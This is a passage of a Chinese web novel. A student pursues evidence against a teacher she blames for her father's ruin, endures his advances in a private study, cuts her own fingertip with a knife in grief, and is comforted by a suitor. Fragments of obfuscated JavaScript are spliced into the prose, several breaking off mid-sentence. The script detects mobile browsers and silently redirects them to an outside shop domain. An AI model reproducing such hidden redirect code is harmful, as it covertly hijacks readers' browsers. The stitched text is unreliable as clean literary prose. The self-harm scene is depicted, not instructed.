l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327737|134839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你先下来把饭和药吃了,然后再上床休息。” “可是我们说好了下午要一起去茶社的...” 梁舒音宽慰她,“时间还早,说不定你下午就退烧了。” 巴蜀文化讲座在下午三点。 临近出发时,林语棠虽然烧退了,咳嗽却加重,一咳起来骇天震地,仿佛肺都要吐出来。 “不行,你还是呆宿舍好好休息吧。” “你一个人去怎么行。”林语棠执意去柜子里拿外套。 “棠棠,你现在的身体,恐怕连自己都保护不了。” 林语棠顿了下,尴尬地扯了扯嘴角,“也是,还可能拖你...咳咳咳...拖你后腿。” “没关系的,你休息,我去就行了。” 她扶着林语棠坐下,“你放心,今天不会发生什么的,我就是去刷个脸熟。” “真的吗?” “嗯。” “那你答应我别冲动。” “好,我答应你。” 梁舒音换了身白色长裙,天有些凉,她又在外面套了件缀着淡蓝色花瓣的白色开衫。 这次的巴蜀文化交流活动请了不少本土作家和文化人。 她进去时,位置就还剩下后排的几个,台上主持人和几个文化名人在闲聊,李明德也抱臂立在一旁。 也许是他这个人看起来太儒雅,前排女生都纷纷朝他望去。 梁舒音冷冷扫了他一眼,正要往最后一排去,就听李明德叫她。 “梁舒音同学。”李明德从演讲台一侧走过来。 “李老师。”笑意瞬间攀上唇角,她轻声道,“棠棠发烧来不了,她让我跟老师请个假。” 李明德点点头,“最近流感多,你也要多注意。” “谢谢老师关心。” 李明德指了指第一排中间的位置,“你坐那儿去吧,离得近,听得更清楚。” 梁舒音神色微顿,点头道:“好的。” 十来分钟后,活动正式开始。 主持简单介绍今日的流程和来宾后,便将话筒递给了李明德。 李明德并非今日的主讲,他一手接过话筒,一手揣兜,看向座位席,抛砖引玉般提出了一个问题。 “公元669年,初唐四杰之一的王勃从长安出发,去到蜀地,后来写下一首与此相关的散文。” “有谁知道是哪篇吗?” 底下的人开始窃窃私语。 “说杜甫我还知道,王勃我是真不清楚。” “我也是...” “我记得好像叫入蜀纪什么的...” 不知想到什么,梁舒音盯着李明德那张脸,因为走神,始终没移开视线。 察觉到她的注视,李明德点了她,“中间那个穿白裙子的女生。” 意识到被点名,梁舒音回过神来,起身接过话筒,从容作答。 “是《入蜀纪行诗序》吗?” 李明德赞赏地点头,“没错,就是这篇《入蜀纪行诗序》。” “那么接下来就让魏莱老师,给我们聊一聊王勃、杜甫、刘禹锡这些文人和蜀地的趣事。” 一个半小时后,活动结束。 撞见李明德的目光,梁舒音倏然低头,在本子上写写画画。以为她害羞,李明德主动朝她走了过去。 面前一片阴影笼罩下来,她听到男人开口念出她写下的书名。 “巴蜀文学研究论述...” “李老师。”她阖上笔记本,站了起来。 “看来听得很认真嘛。” “嗯,我打算去图书馆借这本书。” “别去图书馆了。”李明德看着她,“我这里就有。” 清风茶舍,一楼二楼是喝茶的地方,三楼则用来举办各种文化活动。 而三楼的最里头,有间书房,是李明德在这里的私人领地。 “跟我过来。”他说。 “好。” 跟在男人身后,梁舒音脚步不疾不徐,心跳却开始猛烈加速。 她伸手握住锁骨上那条银质异形项链,暗自深吸了口气,面色平静地跟着李明德步入未知的领地。 “那里,第二层第二格,你去拿吧。” 他朝里头的书架随意指了下,“我去给你倒杯水。” 梁舒音点头,“好的。” 然而两秒后,她听见李明德在身后关上了书房的门。 32. 梦中 听见关门声,梁舒音脚下一顿,深吸口气,继续往前迈步。 书房窗帘紧闭,老旧昏暗的灯罩中透出压抑的光。 她慢慢走到书柜前。 那本书的位置很高,她踮着脚,伸手去够。 手指摸到书脊的底部,她用力一抽。 老旧书柜,书太多,每本书都像是在夹缝中生存,被左右的书夹得太紧,她又只摸到一点边缘,根本抽不动。 “需要帮忙吗?” 身后脚步声渐进,一股热气将她笼罩,李明德的呼吸喷在她耳后。 她后脑勺一紧,毛孔渗出丝丝冷意。 他的手在书脊上来回摩挲着,指尖有意无意触碰到她的指尖。 她强迫自己镇定下来,偏头看他,“好的。” 于是男人稍稍用力,轻而易举就抽出了那本书。 男女间的力量悬殊,让她蜷在身侧的手指,微颤了下。 不动声色地接过书,梁舒音面目乖巧,“谢谢李老师。” 然而,书拿出来了,李明德却并没有拉开同她之间的距离,他双手撑在书柜上,将她禁锢在他身下的方寸之地。 “还有什么需要帮忙的?”他低头问她。 那张伪君子的脸近在咫尺,梁舒音感觉一条蛇攀上了后背。 那蛇沿着她脊梁骨缓缓爬行,一寸一寸,顺着肩膀、手臂的皮肤,来到她掌心。 滋滋吐着信子。 身体的每一个毛孔都竖起了,恐惧与兴奋同时漫上心尖。 危险在降临。 也意味着能昭示真相的证据在靠近。 她屏息凝神着,做好了随时伸手去掐这条蛇七寸的准备。 心跳快跃出喉咙,身体因害怕而发冷,颊却因胜利在即的兴奋散发着浅淡的红晕。 这落在李明德眼里,却成了少女的羞涩。他低头,鼻尖蹭她面颊。 下一刻,却突然顿住。 “这条项链挺别致的。”他忽然开口。 梁舒音心底猛然一惊。 “在哪儿买的?”他盯着她锁骨处,低声问她。 她头皮发麻,心脏狂跳到瞬间窒息。 “这是...朋友送的。” “哪个牌子的?” 汗水顺着背脊淌下,她抿了抿唇,“是...” 突然响起的手机铃声打断了她的话。 “我接个电话。”像抓住救命稻草,她立刻从包里摸出手机。 “好。” 李明德顿了下,从她身后撤离。她拿着电话去了一旁的窗边。 “梁舒音?” 陆祁溟的声音从手机里传来,低沉缓慢,像是一场毫不真切的梦。 “你有什么事情吗?”平复后,她问他。 对方静了两秒,“你...还好吧?” 他为什么会这样问? 是知道什么了吗? 大概是她一时没回答,陆祁溟又追问,“今天怎么没见你来咖啡店?” 原来如此。 她昨天骗他要去咖啡店兼职的。 没有直接回答他的这个问题,她盯着窗框右下角那只干枯的蜘蛛。 “我很好。” 挂断电话后,转身就见李明德盯着自己,她将手机塞进包里,若无其事地开口。 “是我哥打来的电话。” “你哥姓陆?” 梁舒音微怔。 意识到他看见来电显示了,她目光平稳地盯着李明德。 “我妈再婚了,他不是我亲哥。” 李明德一愣,点点头,走到她面前,轻拍她肩膀,以示安慰。 目光却再次落到她胸前,“对了,这条项链——” 呼吸微滞时,梁舒音听到他民族风的手机铃声骤然响起。 他从兜里摸出手机,瞥了眼,眉头一皱,犹豫半晌才接了起来。 密闭的小房间,电话那头女人的尖锐嗓音,撞进梁舒音的耳朵里。 “接个电话怎么这么慢。”对方冲口而出,语气极不耐烦。 “刚刚有点事。”李明德并不慌乱。 “我进了货,你下来帮我搬。” “好。” “快点,我已经在楼下了。” “来了。” 挂了电话,李明德转身,看向书架前的人,似乎在琢磨要怎么解决眼下的情况。 “没关系的李老师,你有事就去忙吧。” 梁舒音将那本书抱在怀中,像是犹豫了下,才腼腆地开口。 “如果以后还有这样的活动,我还能参加吗?” “当然没问题。” 李明德走到她面前,视线从她怀里那本书慢慢上移,掠过她下巴,唇,最后落到她眼睛上。 “那就,下次再见了。” -- 宿舍空无一人。 她刚刚收到信息,陈可可带林语棠去输液了,让她不用担心。 关上门,梁舒音靠在木门后呆愣了很久。 直到空寂走廊响起急促的脚步声,她才回了魂,将所有东西一股脑扔在书桌上,迫不及待跑去了卫生间。 淋浴下,她抬起手指,反复搓揉、冲刷着被李明德触碰过的指尖。 他的气息、他揭下面具后那张丑恶的脸,在此刻反扑而来。 令她作呕。 冲了很久的澡,似乎也没洗去那种陈腐恶心的味道。 浑浑噩噩爬上床,她都不知道自己是怎样睡过去的。 黑夜与白昼的梦境交织着,朝她席卷而来。时光倒退,她似乎回到了小学的时候。 那会儿,她对小人书和漫画的兴趣远远大于上课,父亲宠她,经常在雨天替她请假。 他在书房备课,她就在旁边搬个小凳子,翻着乱七八糟的书。 累了,就爬上爸爸的书桌,指着他课件上的那几个字,问他。 “不平则鸣是什么意思?” “不平则鸣的意思啊,就是指遇到不平的事,就要发出不满的呼声。” “不平的事?”她托腮想了想,“是指不公平的事吗?” “音音真聪明。” “饿了吧?” 梁蔚见时间不早了,抱着爬到他书桌上的捣蛋鬼,“走咯,爸爸给你做好吃的。” 她高高举起小手,“我要吃小馄饨。” “除了小馄饨呢?” “炸薯条。” “垃圾食品咱就别吃了。” “要嘛要嘛。”她在爸爸怀里扭动起来。 “好。” 梁蔚突然压低声音,刮了刮她鼻梁,宠溺地道,“那咱悄悄吃,别告诉妈妈。” 场景变换,她忽然置身窗帘紧闭,暗无天日的病房。 爸爸坐在窗前的轮椅上,目色温柔地抚摸她的头,语气却透着几分苍凉。 “音音你要知道,人呐,都是一个人来,又一个人走的。没有谁会永远陪着谁。” 她蹲在轮椅边,紧紧握着梁蔚的手,边落泪,边拼命摇头。 “爸爸你还有我,我会一直陪着你的。” “爸爸只会成为你的累赘。” “不会的,爸爸,你不会是累赘的。” 她哭得抽了起来,上气不接下气。 “等我大学毕业了,我会赚很多的钱,给你买有花园的大房子,你每天就在花园里看书、养花,外面那些乱七八糟的事,都打扰不到你的。” 梁蔚也不说话,就那样静静地,充满慈爱地看着他这辈子最骄傲的作品,他最疼爱的女儿。 她却已经泣不成声,哭得浑身瘫软,趴在他腿上,“好不好爸爸,你别扔下我...” -- 深夜,陆祁溟的别墅中,秦授从冰箱里拿了瓶苏打水出来,拧着瓶盖,走到客厅。 “目前查到的就只有这么多。” “虽然还没有确凿的证据,但我觉得你猜的应该八九不离十,李明德跟梁舒音父亲的事,必定脱不了关系。” “只是没想到,李明德竟然还跟凌氏有关。” 凌氏集团是这几年才进入虞海市场的,这里并不是他们的大本营,但靠着先进的理念和出色的经营,去年业绩已经位列虞海第二。 仅次于陆海集团。 也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340846|134839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆海目前很大的竞争对手。 “有凌氏做靠山,难怪查起来没那么容易。” “继续查。” 陆祁溟沉沉吐出三个字,将手头那个毫无瑕疵到像是被刻意清理过的光辉履历扔在一旁,揉了揉眉骨,拿出手机。 秦授过来前,就先把查出的资料发给了他,打开时,他没来由地一阵心悸,下意识就拨给了梁舒音。 也不知道这种莫名的心慌从何而来,直到确认她无碍,他才松了口气。 不过,她虽然口头说没事,但迟疑的语气,让他依旧不放心。 他拿出手机,盯着她的对话框,略显犹豫。 看出他心情不佳,秦授刷着手机上的新闻,开始转移话题。 “陆氏父子酒会相拥,破除不和传言...” “虞海首富布局新兴领域,陆海集团下一代继承人商业嗅觉敏锐...” 秦授看向出神的陆祁溟,推了推黑框眼镜,“陆少可以啊,久不露面,一回去就上了个头条。” 陆祁溟显然对他的话题没什么兴趣,拎起桌上一瓶水,拧开,喝了口,眼风淡淡扫向他。 “你也不赖,大义灭亲,把你爸玩女人的照片放给媒体,让你们家的股票连跌一周。” 秦授耸肩,不以为意,“我这是帮他做了个决定而已,要江山还是要美人。” 他说着,不知从哪儿拿出个果篮,往茶几上最显眼的地方一放,见陆祁溟依然盯着手机,忍不住揶揄他。 “陆少这是相思病犯了?” 陆祁溟连个眼神都没给他。 秦授挑眉,从果篮里挑了个橙子,边削皮边意味深长地道:“哎你说这颗橙子甜吗?” 陆祁溟掀起眼皮看他,一副“你到底想说什么”的不耐表情,视线落在中间那篮水果上,他脑子里忽然闪过一个念头。 “她送的?” “除了她,谁还会送这么接地气的——” 话音未落,茶几上的果篮,连同秦授手头那个,一股脑被某人抢走了。 “一个橙子,你至于吗?” 陆祁溟冷哼一声,朝墙角那堆礼物抬了抬下巴,“那堆东西才是你的,记得空了给我搬走。” “对了。” 想到什么,陆祁溟又问他,“你对陈可可什么想法?” “一个乳臭未干的黄毛丫头,我对她能有什么想法。” “是吗?” 他戳穿对方,“昨晚也不知道是谁,把人家要带给室友的东西都给吃光了。” “你最好是没想法。”陆祁溟又提醒他,“她是梁舒音的朋友,你要是不打算认真,就别乱来。” 秦授默了两秒,看他一眼,也讽刺道:“人还没追到,倒是替她操起心来了。” 还没来得及呛回去,手头的电话响起,陆祁溟了瞥眼来电号码,唇角微勾。 “喂?” 陆祁溟按下接听键,起身走到落地窗边,语气不觉变得轻缓。 猜到是谁,秦授从墙角那堆礼物中随手挑了两个,自觉地关门离开了。 电话那头没有丝毫的动静。 陆祁溟狐疑地瞥了眼来电显示,确定没错,叫了她名字:“梁舒音? 无人应答的寂静中,他听到了她沉重的呼吸声,还有断断续续模糊的呓语。 察觉到一丝不对劲,他轻声唤她:“音音。” 女孩终于有了反应,“爸爸...” 软软糯糯的语气,是他从未听过的。 “爸...你别走...” 带着哭腔,像是在说梦话。 “你在哪儿?”他放柔了嗓音,跟梦里的她对话。 “我在学校,我没有回...家。” “家里没人...不...我没有家。” “爸爸...你来学校接我好不好?” 这是他第一次听见她哭,没有撕心裂肺,克制而压抑,又像是在哭诉满腔的委屈。 他深吸了口气,心脏被砸出细密的疼,却不忍心将她从梦中唤醒。 “别哭。” 他轻声哄她,“我马上过来好不好。” 33. [锁] [此章节已锁] 从梦里醒来,梁舒音猛地睁眼。 视线里一片漆黑,心跳剧烈撞击着胸腔,像是下一秒就要从喉咙跳出。 宿舍却寂寞得没有一丝声响。 这些年,她一直反复做着同样的梦,某些东西早已刻入骨血,提醒着她,敲打着她。 有些事一日也不可忘记。 梁舒音在黑暗中大口喘着气,平复下来后,她神色漠然地抹掉眼角的湿润,摸出枕下的手机。 解锁,看了眼时间。 晚上八点,城市繁华刚拉开帷幕的时候。 她撑着窄小的木床起身,脑袋昏沉得像被棍棒敲过,浑身沉重又酸软。 刚刚在梦里,她好像看见了爸爸,跟他通了话,还很没用地哭了鼻子。 暗自叹口气,她摸黑下床,借着走廊漏进的光,她拿起桌上的玻璃杯,猛灌了大半杯水。 喝完,她将水杯重重杵在桌上,用手背随意地抹掉唇上沾的水,拉开椅子坐下,也没打开宿舍的顶灯,只拧开了书桌上那盏橙色台灯。 视线落在右手边那个锁住的抽屉上。 她找出钥匙,拧开锁,从抽屉里拿出那个褐色铁皮盒子。 那里头装着很多照片、打印出来的邮件、录音笔... 都是她这几年费心搜集起来的,关于一个人的“罪状”。 她拿出那张打印出来的邮件。 那是父亲葬礼刚办完的那天晚上,她收到的一封来自国外的邮件。 发信人正是当年污蔑父亲的女学生,赵莹。 邮件的内容只有两句话。 一句是:抱歉,节哀。 另一句是:不是梁老师。 第一眼看见这两句话时,她大脑一片空白,反应过来后,捂着脸嚎啕痛哭起来。 原本因为葬礼而在眼泪中泡了一天的红肿双眼,鼓胀得几乎睁不开,浑身抖得像筛,她哭得几近断气。 当年的那件事,警察因为找不到确切的证据,再加上赵莹的话前后矛盾,爸爸最终被无罪释放。 然而那段时间的停职调查,他精神恍惚,出了车祸,下半身瘫痪。 但最终将他击倒的,却并非身体上的残痛,而是师生们异样的目光。 不知为何,人一旦被怀疑过,哪怕并没有任何盖棺定论的证据,道德上也仿佛有了瑕疵。 在那些人心里,证据不足不代表没做过,流言依旧在空气中传播,绞杀人心,蹂躏自尊。 直到彻底毁掉一个无辜的人。 赵莹的这封邮件,这迟来的歉意和真相,像千斤重锤,敲凿着她的一颗心。 然而,还来不及继续沉溺悲伤,她很快就意识到什么。 这句话不对劲。 像是只说了一半。 “不是梁老师。” 不是梁老师,而是... 她当即擦干眼泪,抖着手回复过去,“不是梁老师,那是谁?” “你为什么要污蔑他?” “你是不是受了谁的指使?” 却再也没等来回信。 她不死心,整夜不睡觉,对着电脑,疯了似的,不断发邮件过去。 这句迟来的道歉和澄清,再也换不回她的爸爸,但却坚定了她探寻真相的决心。 三年来爸爸承受过的痛,她因此而破碎掉的家庭…滔天恨意将她笼罩,她双眼猩红,嘴唇被咬出血,脑子里只有一个念头。 她要替爸爸讨回公道。 她要让那个人,血债血偿。 整整一百封邮件,每一个字每一句话都是泣血的控诉,却像砸进深海的石子,坠入海底,不见天日。 赵莹再也没出现过,像飘散在日光下的雾一样,彻底消失在了她的生活中。 人消失了没关系,法治社会,她不信揪不出这个人。 那段时间,她瞒着母亲和舅舅,花光所有积蓄,找人调查了父亲的所有社会关系。 向来温良的父亲,从不与人发生冲突,因淡泊名利,也极少参与竞争,唯一的一次,是教授竞聘。 而当时和爸爸存有竞争关系的,只有一个人,虞大中文系的老师,李明德。 为了进一步搜集证据,她放弃原本的传媒专业,报考了李明德所在的虞大中文系。 过去的两年,她拍到不少他行为不端的照片,但怕打草惊蛇,她没有报警,而是选择了匿名举报。 但几乎都石沉大海。 也许是他背景强大,也许是证据还不够充足。 她无法论证,却不能放弃,只能不断搜集更多的证据。 林语棠跟李明德的事,是一个突破口。 还有不到两年就毕业了,她没耐心再温吞地等下去,今日以身犯险,是想趁他不轨时,拿到铁证。 但却再一次失败了。 她捏着这封改变她命运的邮件,放在台灯下,光透过纸页,照亮上面的每一个字。 却驱不散字里行间的阴霾。 唇角慢慢溢出嘲讽的笑。 她一脸淡漠地将那封邮件撕成两半,又面无表情地拿出盒子里其他的照片。 一张一张撕碎。 最后,她像疯了似的,将这些年费尽苦心搜集的罪证,通通毁掉了。 盒子被她不小心拂在地上,铁皮碰撞在水泥地上,发出刺耳响声,在空空荡荡的宿舍楼道里回荡着。 有种剜心的凄楚。 眼泪寂静无声地淌着。 空落落的孤独将她彻底包裹,她拿出手机,通讯录翻到顾言西的名字,指尖却一顿。 她答应过他不再涉险,但却食言了,因为她从始至终都是在骗他。 没办法打给顾言西,通讯录继续往下,她看到了舒玥的名字。 拇指停在拨出键上,耳旁却浮现她当年凉薄的忠告。 “一封没头没尾的邮件能说明什么?” “你爸的事警察已经做了定论,就是女学生醉酒后的乌龙,你别再浪费时间了,好好学习,才是对你爸最好的告慰。” 指尖微微发抖,她咬着牙,将手机砰一声,反扣在桌上。 她拉开抽屉,那里面躺着一只新手机,还有一把红色的水果刀。 手机是陆祁溟给的,她伸手去拿,指尖触碰到机身便放下,转而拿起那把水果刀。 她冷静地拿出红色水果刀,打开了,抵在左手食指的指尖上。 一刀划了下去。 身体涌上灭顶之灾般的痛,她顿时满头冷汗,嘴唇煞白。 痛逐渐浸入骨髓,在她身体里游走,啃噬她每一寸骨骼肌肉。 她浑身都跟着发抖战栗起来,身体的痛,终于取代了心里的空洞无助。 她从小痛感是别人的数十倍,对于痛这种要命的滋味,向来是能避则避。 而现在,她却用它来疗伤。 也不知是以毒攻毒,还是病入膏肓了。 额头的碎发被冷汗浸湿,她没管,跌坐在冰冷的地上,背靠着柜子,目光空洞地落在漆黑房间里。 任由指尖那抹红,滴落在她白色的吊带裙上。 痛麻木了身心,她疲惫极了,不想再去思考要怎么对付李明德,只想沉沦在这无边的黑夜中。 然而,眼睛缓缓闭上时,那通救赎般的电话,猝然降临。 铃声刺破黑暗的压抑。 她闭着眼,反手在身后的桌上摸到电话,黑暗中的荧光,照亮她泪痕斑驳的脸。 “喂?” 她有气无力地接起来,嗓子微哑,人也有些恍惚。 “梁舒音,我来了。” 男人低沉温暖的嗓音,像一股暖流,砸进她的耳膜。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389060|134839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 也砸进了她的心。 意识回笼,忽然就鼻酸了。 “你说什...么?”她咬着手背,克制住嗓音里的颤抖。 “过来阳台。” 指尖的红已经凝住,她迅速起身,从抽屉里翻出创可贴缠上,跌跌撞撞跑过去,推开阳台的那扇门。 繁茂香樟树下,一个高大挺拔的黑色身影,正仰头朝她这里望过来。 夜风中,他们一句话也没说,就那样握着电话,彼此静静对视着。 片刻后,梁舒音忽然转身。 她冲下了搂。 电话没挂,陆祁溟听到她下楼的动静,提醒她。 “你慢点,别摔了。” 可她哪里等得及,她急需一个有温度的怀抱。 她那颗心太空了。 然而,等她推开宿舍楼的大门时,脚下却突然一顿。 她似乎还没有资格,跟他索取一个亲密的拥抱。 冷静下来后,她停住急切的脚步。 男人像是看穿她的迟疑,他包容而温柔地朝她轻笑,主动朝她慢慢走了过来。 马丁靴重重踩在地面,他一步一步,坚定地靠近怯懦的她。 她仿佛从他映着光的深邃眼眸中,看见了熹微的黎明。 “你怎么来了?” 直到男人走到面前,她才想起一切都过于巧合。 “不是让我来接你吗?” 陆祁溟双手揣兜,微低着头颈,一脸深意地凝视着她。 她疑惑地看着他,几秒后,猛然反应过来,原来梦里和爸爸的对话,是她错拨了他的电话。 她不知道自己究竟还跟他说了什么不该说的话,一时心虚又尴尬,咳咳清了清嗓子。 “抱歉,我...” 话一出口却见他似笑非笑盯着自己。 明明知道她拨错了,还故意这么逗她,她索性也不解释了,淡淡“哦”了声,一脸平静地看着他。 “你就这么喜欢给人当爹吗?” 他微微挑眉,“那要看是谁了。” 顿了下,又凑近她耳畔,“我更喜欢给人家当男朋友。” 灼热气息拂过,梁舒音下意识微偏头颈,往后踩了一步。 她下来得太急,忘了穿鞋,这一退,脚底板重重踩在一粒石子上,痛得她弓起背,皱眉“嘶”了声。 “怎么了?” 陆祁溟顺着看下去,裙摆下,那双白皙纤瘦的脚正踩在水泥地上。 她竟然是赤脚下楼的。 他有些意外,撩起眼皮玩味地盯着她,伸手搂住她的腰,将轻如纸片的人轻轻一拎。 她瞬间踩在了他干净的黑色鞋面上。 女孩只穿了条吊带裙,外边罩着个单薄的开衫,被他突袭,没反应过来,身体径直撞进入他怀里。 柔软和结实贴撞在一起。 两人皆是一怔。 某种微妙的灼热从碰撞处,像火苗窜遍全身,彼此都有些头皮发麻。 “陆祁溟,你干嘛?” 她低嗔,稍稍后退,小臂往外抵住他胳膊。 他垂眸睨她,用力控住她的推阻,将人禁锢在怀里。 女孩浑身都是香香软软的,他克制住胸口的起伏,发痒的喉头上下滚动。 “就这么急着下来见我?” 男人压低的嗓音,在浓黑深夜明显沾染了欲|望。 她没看他,只伸手狠狠拧了下他胳膊。 他痛得“嘶”了声,却没松开她,反而低笑着揶揄她。 “没吃饭是吧?力气这么小。” 然后不等她回应,他放在她纤腰上的手猛地收紧,她再度贴近了他。 他落在耳畔的温柔嗓音,带着刻意引|诱蛊惑的意味。 “梁舒音,你还敢说心里没我。” 34. 诱她 夜色寂寥,人心里的秩序也在瓦解。 梁舒音低着头,既不承认,但也不挣扎了。 半晌,语气软软地吐出一句毫不相干的话,“陆祁溟,我想喝酒。” 男人盯着怀里的人,这是她头一回跟他提要求。 “喝酒?” 他很受用她突然的依赖,却忍不住逗她,“我记得某人的酒品,似乎不是那么好。” 被他这么一提醒,她忽然想起之前在酒吧喝醉的那回,她主动攀上他、亲他的事。 她仰头看他,而男人也正盯着她,粘腻的目光在她唇上游移。 两人都默契地陷入了那晚旖旎的回忆中,也不知是谁的心跳,在暗夜里被放大,要将人吞噬。 她瞥开视线,低声道:“你放心,这次不会了。” “真的?”他声色沉沉,像是在蛊惑。 她偏头盯着一旁摇曳的树木,堂而皇之道:“怕我占便宜,大不了你躲远一点啊。” 他指腹贴着她脊背,有意无意摩挲着,嗓音低哑而性感。 “我躲了,万一你去祸害别人怎么办?” 她一急,冲口而出:“我怎么可能见人就亲...” 话说一出口才意识到不妥,果然男人挑了眉,“那就是,只想亲我了?” 她懊恼地垂下脑袋。 今晚她情绪脆弱,失了警惕心,被他抓住了错漏。 “脸红什么?” 他伸手将她耳旁的碎发挽到耳后,指尖掠过时,轻捏了下她耳垂。 “陆祁溟,你闹够没有?”女孩微微偏头,蹙眉盯着他。 他低声一笑,收了作乱的手,胡乱揉她脑袋,“好了,不逗你玩了,走吧带你去喝酒。” “那我上楼去穿鞋。” 趁他松手,她终于下了地,头也不回地溜回了宿舍大楼。 “慢点。”陆祁溟在身后提醒她。 皮肤那样娇嫩,也不怕脚底被刺破。 指尖还留着她皮肤的余温,酥酥麻麻的,他用力握了下,从兜里摸出了盒烟。 又想起她很快下来,他将烟收了起来。 上楼换了衣服,穿上鞋,梁舒音又把昨天借他的那件黑T叠好了,装进手提袋里。 手机她没拿,不是接受了,而是觉得还来还去显得自己太扭捏,索性就不管了。 坐上陆祁溟的跑车,他带她去了MATA酒吧。 酒吧外面是条自西向东的河,河两岸是休闲廊道,河中有古香古色的船,正载着琴声缓缓驶过。 梁舒音不想去酒吧里头,陆祁溟便带她来了这里。 她坐在河边的长椅上,等着他去MATA拿酒。 身后是条单行道,听到汽车鸣笛声,她下意识扭头,就瞧见陆祁溟从酒吧里出来。 夜色暧昧,柔和了他眼底的锋利,却加深了他身上那种男性荷尔蒙。 这条酒吧街,聚集了各类酒吧,街头俊男美女不少,打扮精致的女生纷纷朝他投去蠢蠢欲动的目光。 他却目不斜视,踩着那双被她赤脚弄脏的鞋,大步朝她走来。 他一手夹着烟,一手拎着装酒的带子,晚风将他黑T吹得贴在宽硕的胸肌上。 他原本低头看路,等单行道上的车离开后,他忽然抬头,朝她看过来。 目光一如既往的明目张胆,热烈又暧昧。 像是要将她生吞入腹。 这条欲|望横生的酒吧街,收容着人心里那些晦暗难言的梦与欲,附近有人热烈相拥,有人肆无忌惮接吻。 而置身于醉生梦死的地方,他们也免不了俗。 那一眼对视,彼此心跳都打了个晃。 她收回了视线。 陆祁溟走到她面前,将其中一瓶酒递给她。 她没伸手去接。 因为他给的是果酒。 还真是不好糊弄,陆祁溟低笑了声,“给你酒也行。” 他换了瓶货真价实的酒,在她指尖触碰到酒瓶时,又收了回来。 “除非你答应我一件事。” “什么?” 梁舒音不明所以地仰头看他。 “以后我不在的时候,别喝酒。” “跟陈可可她们一起也不行吗?” “不行。” 她想了想,又偷瞄了眼他手头的琼浆,决定先答应下来,以后的事儿以后再说。 “好呀。”她乖乖点头。 “说吧,遇见什么事了?” 她刚抿了口酒,旁边人突然开口。 “没什么。”她顿了下,“就是做了个噩梦。” 像是不相信她的说辞,陆祁溟深深凝视着她,半晌,忽然伸出手,轻拍她后脑勺。 “你干嘛?” 被他这么一拍,梁舒音险些把酒瓶子摔了,不满地睨着他。 “我小时候每回做了噩梦,我奶奶就这样拍我脑袋。” 他凑过去,像哄小孩一样哄她,“说是可以驱赶梦里的邪恶。” 是么? 梁舒音不大相信,但也没说什么。 轻拍了几下,陆祁溟就收回手,一脸认真地盯着她的侧脸。 “如果被梦魇住了,记得回头。” 顺着他的话,梁舒音下意识回头,男人的眼眸里仿佛聚集着星光点点。 “我一直在你身后。” 这句话,陆祁溟没说出口。 但她似乎听懂了。 她望着他,喃喃问道:“你为什么...喜欢我?” 旁边的人从胸腔闷出一声低笑,“那你又为什么不喜欢我?” 他偏头打量她,“不对,应该是你为什么喜欢我,却又要拒绝我。” “谁喜欢你了?”梁舒音面不改色地直视着他。 陆祁溟盯她半晌,微挑眼角,“行,不喜欢。” 他将一只手臂搁在她身后的椅背上,将她纳入自己的领地,另一只手捏着酒瓶,仰头喝了口,回答她刚才的问题。 “喜欢就是喜欢,哪来什么理由。” 梁舒音盯着他,半晌,将目光落在河面,自嘲地笑了下。 她从来都知道自己不是那种讨喜的人。 慢热、不爱说话,一群人凑在一起也不知道该说些什么,同学们都觉得她高冷,不好相处。 也因此,她在班上除了陈可可和林语棠,几乎没什么朋友。 她也不像陈可可那样,软软糯糯的,可爱,又会撒娇,朋友多到遍天下。 在她沉默的当下,身边的男人却突然起身,走到她面前,蹲了下来。 他伸手来握她,她缩了下,又被他用力拽过去,一双手被他牢牢包裹在掌心。 “那次你之所以参加比赛,是为了陈可可对吧?”他凝视着她,语气循循善诱。 她垂着的睫羽微颤,“你怎么知道?” “因为,我当时就在隔壁的男生休息室。” “还有,你来俱乐部比赛那次,原本可以赢李岩的,但你在最后关头熄了火。” “是因为你想把第一名的奖金让给他,对吗?” 望着面前的男人,梁舒音眼眶胀胀的,鼻头莫名有些发酸。 这些事,他竟然都知道。 他为什么会这么了解她,这么懂她? “林岚欠你一个道歉,但你不愿用强权让她屈服,是因为在你心里,有一个很高的道德准则。” 她心脏猛跳,继而歉疚道:“可我连累你受了伤。” “没关系。” 陆祁溟捧着她那双手,忽然低头,在她手背上印下一个浅浅的吻,像羽毛拂过般,在她心尖轻轻挠了下。 “梁舒音,我心甘情愿的。” “你知道我最喜欢你什么吗?” 他仰头看她,目光极尽温柔,“你骨子里的那点倔。” 他从来都知道,她脾气犟得很,不想做的事情谁也无法强迫,想做的事,哪怕撞破南墙也绝不回头。 夜风柔和,他的吻也温柔,话也温柔。 她觉得身体里有什么尖锐的东西,慢慢地被他抚平了。 终究还是承受不住他那样深情的凝试,她别开了视线。 陆祁溟却不肯放过她,“音音,我是真的——” 然而话音未落,面前的姑娘就偏头,猛打了个喷嚏。 陆祁溟顿了下,沉默片刻,将刚才的话咽进了喉咙。 他起身,提议道,“这里风大,进去吧。” 她摇头,“我还想再呆会儿。” 他顿了下,“行,那你等我两分钟。” 等人走了,梁舒音才捂着擂动的胸口,深深地吸了口河边的鲜氧。 她知道他刚才要说什么。 她不想在这个温柔的夜晚,再伤害他。 